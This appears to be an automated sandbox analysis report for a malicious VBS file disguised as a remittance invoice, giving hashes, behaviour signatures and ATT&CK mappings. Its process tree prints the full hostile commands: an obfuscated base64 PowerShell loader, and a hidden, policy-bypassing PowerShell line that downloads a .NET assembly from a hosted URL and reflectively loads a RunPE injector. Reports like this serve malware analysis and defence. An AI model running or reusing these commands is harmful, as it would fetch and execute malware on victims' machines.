eb649852277e737fe080956068d124299fdc7ff604436217d4438b86e3057d16

General

Target

REMIT120924001INV.vbs
Size

235KB
MD5

98558b2ec2e09d0a52805237acac44a1
SHA1

2256fc67c1b5bb8d9ef9c409d28ce9f3bd8afcfa
SHA256

dd3734aa5d87840394392fa9969dde8187f2ae2c27ff1b897c0929f012e079c8
SHA512

4c23f8ae54375aacef98360f0a0a763aa232014a7732857f917109d62e1295aee351ffd6c6a6069acb0d5fc2bdd92c83faa320d5201bfe26186290d304f4ad89
SSDEEP

6144:FlHwv///MsXttab5C/jPe3CIFn42RilWv:FlHG///1Xtkb5CbPe3CKNklc

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2848	powershell.exe
4	2848	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3004	powershell.exe
2848	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3004	powershell.exe
2848	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3004	powershell.exe
Token: SeDebugPrivilege	2848	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2792 wrote to memory of 3004	2792	WScript.exe	28
PID 2792 wrote to memory of 3004	2792	WScript.exe	28
PID 2792 wrote to memory of 3004	2792	WScript.exe	28
PID 3004 wrote to memory of 2848	3004	powershell.exe	30
PID 3004 wrote to memory of 2848	3004	powershell.exe	30
PID 3004 wrote to memory of 2848	3004	powershell.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\REMIT120924001INV.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⍊ ∥ ⤔ ⽴㎤B1⍊ ∥ ⤔ ⽴㎤HI⍊ ∥ ⤔ ⽴㎤b⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤g⍊ ∥ ⤔ ⽴㎤D0⍊ ∥ ⤔ ⽴㎤I⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤n⍊ ∥ ⤔ ⽴㎤Gg⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤B0⍊ ∥ ⤔ ⽴㎤H⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤cw⍊ ∥ ⤔ ⽴㎤6⍊ ∥ ⤔ ⽴㎤C8⍊ ∥ ⤔ ⽴㎤LwBp⍊ ∥ ⤔ ⽴㎤GE⍊ ∥ ⤔ ⽴㎤Ng⍊ ∥ ⤔ ⽴㎤w⍊ ∥ ⤔ ⽴㎤D⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤MQ⍊ ∥ ⤔ ⽴㎤w⍊ ∥ ⤔ ⽴㎤D⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤LgB1⍊ ∥ ⤔ ⽴㎤HM⍊ ∥ ⤔ ⽴㎤LgBh⍊ ∥ ⤔ ⽴㎤HI⍊ ∥ ⤔ ⽴㎤YwBo⍊ ∥ ⤔ ⽴㎤Gk⍊ ∥ ⤔ ⽴㎤dgBl⍊ ∥ ⤔ ⽴㎤C4⍊ ∥ ⤔ ⽴㎤bwBy⍊ ∥ ⤔ ⽴㎤Gc⍊ ∥ ⤔ ⽴㎤Lw⍊ ∥ ⤔ ⽴㎤y⍊ ∥ ⤔ ⽴㎤DQ⍊ ∥ ⤔ ⽴㎤LwBp⍊ ∥ ⤔ ⽴㎤HQ⍊ ∥ ⤔ ⽴㎤ZQBt⍊ ∥ ⤔ ⽴㎤HM⍊ ∥ ⤔ ⽴㎤LwBk⍊ ∥ ⤔ ⽴㎤GU⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤Bh⍊ ∥ ⤔ ⽴㎤Gg⍊ ∥ ⤔ ⽴㎤LQBu⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤Bl⍊ ∥ ⤔ ⽴㎤C0⍊ ∥ ⤔ ⽴㎤dg⍊ ∥ ⤔ ⽴㎤v⍊ ∥ ⤔ ⽴㎤EQ⍊ ∥ ⤔ ⽴㎤ZQB0⍊ ∥ ⤔ ⽴㎤GE⍊ ∥ ⤔ ⽴㎤a⍊ ∥ ⤔ ⽴㎤BO⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤Bl⍊ ∥ ⤔ ⽴㎤FY⍊ ∥ ⤔ ⽴㎤LgB0⍊ ∥ ⤔ ⽴㎤Hg⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤n⍊ ∥ ⤔ ⽴㎤Ds⍊ ∥ ⤔ ⽴㎤J⍊ ∥ ⤔ ⽴㎤Bi⍊ ∥ ⤔ ⽴㎤GE⍊ ∥ ⤔ ⽴㎤cwBl⍊ ∥ ⤔ ⽴㎤DY⍊ ∥ ⤔ ⽴㎤N⍊ ∥ ⤔ ⽴㎤BD⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤bgB0⍊ ∥ ⤔ ⽴㎤GU⍊ ∥ ⤔ ⽴㎤bgB0⍊ ∥ ⤔ ⽴㎤C⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤PQ⍊ ∥ ⤔ ⽴㎤g⍊ ∥ ⤔ ⽴㎤Cg⍊ ∥ ⤔ ⽴㎤TgBl⍊ ∥ ⤔ ⽴㎤Hc⍊ ∥ ⤔ ⽴㎤LQBP⍊ ∥ ⤔ ⽴㎤GI⍊ ∥ ⤔ ⽴㎤agBl⍊ ∥ ⤔ ⽴㎤GM⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤g⍊ ∥ ⤔ ⽴㎤FM⍊ ∥ ⤔ ⽴㎤eQBz⍊ ∥ ⤔ ⽴㎤HQ⍊ ∥ ⤔ ⽴㎤ZQBt⍊ ∥ ⤔ ⽴㎤C4⍊ ∥ ⤔ ⽴㎤TgBl⍊ ∥ ⤔ ⽴㎤HQ⍊ ∥ ⤔ ⽴㎤LgBX⍊ ∥ ⤔ ⽴㎤GU⍊ ∥ ⤔ ⽴㎤YgBD⍊ ∥ ⤔ ⽴㎤Gw⍊ ∥ ⤔ ⽴㎤aQBl⍊ ∥ ⤔ ⽴㎤G4⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤p⍊ ∥ ⤔ ⽴㎤C4⍊ ∥ ⤔ ⽴㎤R⍊ ∥ ⤔ ⽴㎤Bv⍊ ∥ ⤔ ⽴㎤Hc⍊ ∥ ⤔ ⽴㎤bgBs⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤YQBk⍊ ∥ ⤔ ⽴㎤FM⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤By⍊ ∥ ⤔ ⽴㎤Gk⍊ ∥ ⤔ ⽴㎤bgBn⍊ ∥ ⤔ ⽴㎤Cg⍊ ∥ ⤔ ⽴㎤J⍊ ∥ ⤔ ⽴㎤B1⍊ ∥ ⤔ ⽴㎤HI⍊ ∥ ⤔ ⽴㎤b⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤p⍊ ∥ ⤔ ⽴㎤Ds⍊ ∥ ⤔ ⽴㎤J⍊ ∥ ⤔ ⽴㎤Bi⍊ ∥ ⤔ ⽴㎤Gk⍊ ∥ ⤔ ⽴㎤bgBh⍊ ∥ ⤔ ⽴㎤HI⍊ ∥ ⤔ ⽴㎤eQBD⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤bgB0⍊ ∥ ⤔ ⽴㎤GU⍊ ∥ ⤔ ⽴㎤bgB0⍊ ∥ ⤔ ⽴㎤C⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤PQ⍊ ∥ ⤔ ⽴㎤g⍊ ∥ ⤔ ⽴㎤Fs⍊ ∥ ⤔ ⽴㎤UwB5⍊ ∥ ⤔ ⽴㎤HM⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤Bl⍊ ∥ ⤔ ⽴㎤G0⍊ ∥ ⤔ ⽴㎤LgBD⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤bgB2⍊ ∥ ⤔ ⽴㎤GU⍊ ∥ ⤔ ⽴㎤cgB0⍊ ∥ ⤔ ⽴㎤F0⍊ ∥ ⤔ ⽴㎤Og⍊ ∥ ⤔ ⽴㎤6⍊ ∥ ⤔ ⽴㎤EY⍊ ∥ ⤔ ⽴㎤cgBv⍊ ∥ ⤔ ⽴㎤G0⍊ ∥ ⤔ ⽴㎤QgBh⍊ ∥ ⤔ ⽴㎤HM⍊ ∥ ⤔ ⽴㎤ZQ⍊ ∥ ⤔ ⽴㎤2⍊ ∥ ⤔ ⽴㎤DQ⍊ ∥ ⤔ ⽴㎤UwB0⍊ ∥ ⤔ ⽴㎤HI⍊ ∥ ⤔ ⽴㎤aQBu⍊ ∥ ⤔ ⽴㎤Gc⍊ ∥ ⤔ ⽴㎤K⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤k⍊ ∥ ⤔ ⽴㎤GI⍊ ∥ ⤔ ⽴㎤YQBz⍊ ∥ ⤔ ⽴㎤GU⍊ ∥ ⤔ ⽴㎤Ng⍊ ∥ ⤔ ⽴㎤0⍊ ∥ ⤔ ⽴㎤EM⍊ ∥ ⤔ ⽴㎤bwBu⍊ ∥ ⤔ ⽴㎤HQ⍊ ∥ ⤔ ⽴㎤ZQBu⍊ ∥ ⤔ ⽴㎤HQ⍊ ∥ ⤔ ⽴㎤KQ⍊ ∥ ⤔ ⽴㎤7⍊ ∥ ⤔ ⽴㎤CQ⍊ ∥ ⤔ ⽴㎤YQBz⍊ ∥ ⤔ ⽴㎤HM⍊ ∥ ⤔ ⽴㎤ZQBt⍊ ∥ ⤔ ⽴㎤GI⍊ ∥ ⤔ ⽴㎤b⍊ ∥ ⤔ ⽴㎤B5⍊ ∥ ⤔ ⽴㎤C⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤PQ⍊ ∥ ⤔ ⽴㎤g⍊ ∥ ⤔ ⽴㎤Fs⍊ ∥ ⤔ ⽴㎤UgBl⍊ ∥ ⤔ ⽴㎤GY⍊ ∥ ⤔ ⽴㎤b⍊ ∥ ⤔ ⽴㎤Bl⍊ ∥ ⤔ ⽴㎤GM⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤Bp⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤bg⍊ ∥ ⤔ ⽴㎤u⍊ ∥ ⤔ ⽴㎤EE⍊ ∥ ⤔ ⽴㎤cwBz⍊ ∥ ⤔ ⽴㎤GU⍊ ∥ ⤔ ⽴㎤bQBi⍊ ∥ ⤔ ⽴㎤Gw⍊ ∥ ⤔ ⽴㎤eQBd⍊ ∥ ⤔ ⽴㎤Do⍊ ∥ ⤔ ⽴㎤OgBM⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤YQBk⍊ ∥ ⤔ ⽴㎤Cg⍊ ∥ ⤔ ⽴㎤J⍊ ∥ ⤔ ⽴㎤Bi⍊ ∥ ⤔ ⽴㎤Gk⍊ ∥ ⤔ ⽴㎤bgBh⍊ ∥ ⤔ ⽴㎤HI⍊ ∥ ⤔ ⽴㎤eQBD⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤bgB0⍊ ∥ ⤔ ⽴㎤GU⍊ ∥ ⤔ ⽴㎤bgB0⍊ ∥ ⤔ ⽴㎤Ck⍊ ∥ ⤔ ⽴㎤Ow⍊ ∥ ⤔ ⽴㎤k⍊ ∥ ⤔ ⽴㎤HQ⍊ ∥ ⤔ ⽴㎤eQBw⍊ ∥ ⤔ ⽴㎤GU⍊ ∥ ⤔ ⽴㎤I⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤9⍊ ∥ ⤔ ⽴㎤C⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤J⍊ ∥ ⤔ ⽴㎤Bh⍊ ∥ ⤔ ⽴㎤HM⍊ ∥ ⤔ ⽴㎤cwBl⍊ ∥ ⤔ ⽴㎤G0⍊ ∥ ⤔ ⽴㎤YgBs⍊ ∥ ⤔ ⽴㎤Hk⍊ ∥ ⤔ ⽴㎤LgBH⍊ ∥ ⤔ ⽴㎤GU⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤BU⍊ ∥ ⤔ ⽴㎤Hk⍊ ∥ ⤔ ⽴㎤c⍊ ∥ ⤔ ⽴㎤Bl⍊ ∥ ⤔ ⽴㎤Cg⍊ ∥ ⤔ ⽴㎤JwBS⍊ ∥ ⤔ ⽴㎤HU⍊ ∥ ⤔ ⽴㎤bgBQ⍊ ∥ ⤔ ⽴㎤EU⍊ ∥ ⤔ ⽴㎤LgBI⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤bQBl⍊ ∥ ⤔ ⽴㎤Cc⍊ ∥ ⤔ ⽴㎤KQ⍊ ∥ ⤔ ⽴㎤7⍊ ∥ ⤔ ⽴㎤CQ⍊ ∥ ⤔ ⽴㎤bQBl⍊ ∥ ⤔ ⽴㎤HQ⍊ ∥ ⤔ ⽴㎤a⍊ ∥ ⤔ ⽴㎤Bv⍊ ∥ ⤔ ⽴㎤GQ⍊ ∥ ⤔ ⽴㎤I⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤9⍊ ∥ ⤔ ⽴㎤C⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤J⍊ ∥ ⤔ ⽴㎤B0⍊ ∥ ⤔ ⽴㎤Hk⍊ ∥ ⤔ ⽴㎤c⍊ ∥ ⤔ ⽴㎤Bl⍊ ∥ ⤔ ⽴㎤C4⍊ ∥ ⤔ ⽴㎤RwBl⍊ ∥ ⤔ ⽴㎤HQ⍊ ∥ ⤔ ⽴㎤TQBl⍊ ∥ ⤔ ⽴㎤HQ⍊ ∥ ⤔ ⽴㎤a⍊ ∥ ⤔ ⽴㎤Bv⍊ ∥ ⤔ ⽴㎤GQ⍊ ∥ ⤔ ⽴㎤K⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤n⍊ ∥ ⤔ ⽴㎤FY⍊ ∥ ⤔ ⽴㎤QQBJ⍊ ∥ ⤔ ⽴㎤Cc⍊ ∥ ⤔ ⽴㎤KQ⍊ ∥ ⤔ ⽴㎤7⍊ ∥ ⤔ ⽴㎤CQ⍊ ∥ ⤔ ⽴㎤bQBl⍊ ∥ ⤔ ⽴㎤HQ⍊ ∥ ⤔ ⽴㎤a⍊ ∥ ⤔ ⽴㎤Bv⍊ ∥ ⤔ ⽴㎤GQ⍊ ∥ ⤔ ⽴㎤LgBJ⍊ ∥ ⤔ ⽴㎤G4⍊ ∥ ⤔ ⽴㎤dgBv⍊ ∥ ⤔ ⽴㎤Gs⍊ ∥ ⤔ ⽴㎤ZQ⍊ ∥ ⤔ ⽴㎤o⍊ ∥ ⤔ ⽴㎤CQ⍊ ∥ ⤔ ⽴㎤bgB1⍊ ∥ ⤔ ⽴㎤Gw⍊ ∥ ⤔ ⽴㎤b⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤s⍊ ∥ ⤔ ⽴㎤C⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤WwBv⍊ ∥ ⤔ ⽴㎤GI⍊ ∥ ⤔ ⽴㎤agBl⍊ ∥ ⤔ ⽴㎤GM⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤Bb⍊ ∥ ⤔ ⽴㎤F0⍊ ∥ ⤔ ⽴㎤XQB⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤Cg⍊ ∥ ⤔ ⽴㎤JwB0⍊ ∥ ⤔ ⽴㎤Hg⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤u⍊ ∥ ⤔ ⽴㎤GM⍊ ∥ ⤔ ⽴㎤YwBv⍊ ∥ ⤔ ⽴㎤GU⍊ ∥ ⤔ ⽴㎤bg⍊ ∥ ⤔ ⽴㎤v⍊ ∥ ⤔ ⽴㎤DU⍊ ∥ ⤔ ⽴㎤Ng⍊ ∥ ⤔ ⽴㎤2⍊ ∥ ⤔ ⽴㎤C8⍊ ∥ ⤔ ⽴㎤Ng⍊ ∥ ⤔ ⽴㎤1⍊ ∥ ⤔ ⽴㎤DE⍊ ∥ ⤔ ⽴㎤Lg⍊ ∥ ⤔ ⽴㎤z⍊ ∥ ⤔ ⽴㎤DM⍊ ∥ ⤔ ⽴㎤MQ⍊ ∥ ⤔ ⽴㎤u⍊ ∥ ⤔ ⽴㎤DM⍊ ∥ ⤔ ⽴㎤Mg⍊ ∥ ⤔ ⽴㎤u⍊ ∥ ⤔ ⽴㎤Dg⍊ ∥ ⤔ ⽴㎤OQ⍊ ∥ ⤔ ⽴㎤x⍊ ∥ ⤔ ⽴㎤C8⍊ ∥ ⤔ ⽴㎤Lw⍊ ∥ ⤔ ⽴㎤6⍊ ∥ ⤔ ⽴㎤H⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤B0⍊ ∥ ⤔ ⽴㎤Gg⍊ ∥ ⤔ ⽴㎤Jw⍊ ∥ ⤔ ⽴㎤g⍊ ∥ ⤔ ⽴㎤Cw⍊ ∥ ⤔ ⽴㎤I⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤n⍊ ∥ ⤔ ⽴㎤GQ⍊ ∥ ⤔ ⽴㎤ZQBz⍊ ∥ ⤔ ⽴㎤GE⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤Bp⍊ ∥ ⤔ ⽴㎤HY⍊ ∥ ⤔ ⽴㎤YQBk⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤Jw⍊ ∥ ⤔ ⽴㎤g⍊ ∥ ⤔ ⽴㎤Cw⍊ ∥ ⤔ ⽴㎤I⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤n⍊ ∥ ⤔ ⽴㎤GQ⍊ ∥ ⤔ ⽴㎤ZQBz⍊ ∥ ⤔ ⽴㎤GE⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤Bp⍊ ∥ ⤔ ⽴㎤HY⍊ ∥ ⤔ ⽴㎤YQBk⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤Jw⍊ ∥ ⤔ ⽴㎤g⍊ ∥ ⤔ ⽴㎤Cw⍊ ∥ ⤔ ⽴㎤I⍊ ∥ ⤔ ⽴㎤⍊ ∥ ⤔ ⽴㎤n⍊ ∥ ⤔ ⽴㎤GQ⍊ ∥ ⤔ ⽴㎤ZQBz⍊ ∥ ⤔ ⽴㎤GE⍊ ∥ ⤔ ⽴㎤d⍊ ∥ ⤔ ⽴㎤Bp⍊ ∥ ⤔ ⽴㎤HY⍊ ∥ ⤔ ⽴㎤YQBk⍊ ∥ ⤔ ⽴㎤G8⍊ ∥ ⤔ ⽴㎤Jw⍊ ∥ ⤔ ⽴㎤s⍊ ∥ ⤔ ⽴㎤Cc⍊ ∥ ⤔ ⽴㎤UgBl⍊ ∥ ⤔ ⽴㎤Gc⍊ ∥ ⤔ ⽴㎤QQBz⍊ ∥ ⤔ ⽴㎤G0⍊ ∥ ⤔ ⽴㎤Jw⍊ ∥ ⤔ ⽴㎤s⍊ ∥ ⤔ ⽴㎤Cc⍊ ∥ ⤔ ⽴㎤Jw⍊ ∥ ⤔ ⽴㎤p⍊ ∥ ⤔ ⽴㎤Ck⍊ ∥ ⤔ ⽴㎤';$OWjuxD = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $Codigo.replace('⍊ ∥ ⤔ ⽴㎤','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$url = 'https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt';$base64Content = (New-Object System.Net.WebClient).DownloadString($url);$binaryContent = [System.Convert]::FromBase64String($base64Content);$assembly = [Reflection.Assembly]::Load($binaryContent);$type = $assembly.GetType('RunPE.Home');$method = $type.GetMethod('VAI');$method.Invoke($null, [object[]]@('txt.ccoen/566/651.331.32.891//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
dddcef3f87a9b0e512055b846bcb22f2

SHA1
c0783117ab61e0606958eb4782143eed212550fb

SHA256
5b27854c967d59c65f4b760cc16f8939f1c14d0118e47ce6b14c803bab2f124d

SHA512
0b9b2c2874fb2295e4bc55485e3c70ff3995f219c29cdad8bf4718f730684d78feb6cad9e1890101e32ab665aecaf14b4965da4a0fc6721a26cda43749edfa7e

Download Submit
memory/3004-4-0x000007FEF665E000-0x000007FEF665F000-memory.dmp

Filesize
4KB

Download
memory/3004-5-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/3004-6-0x00000000020F0000-0x00000000020F8000-memory.dmp

Filesize
32KB

Download
memory/3004-8-0x000007FEF63A0000-0x000007FEF6D3D000-memory.dmp

Filesize
9.6MB

Download
memory/3004-13-0x000007FEF63A0000-0x000007FEF6D3D000-memory.dmp

Filesize
9.6MB

Download
memory/3004-14-0x000007FEF63A0000-0x000007FEF6D3D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing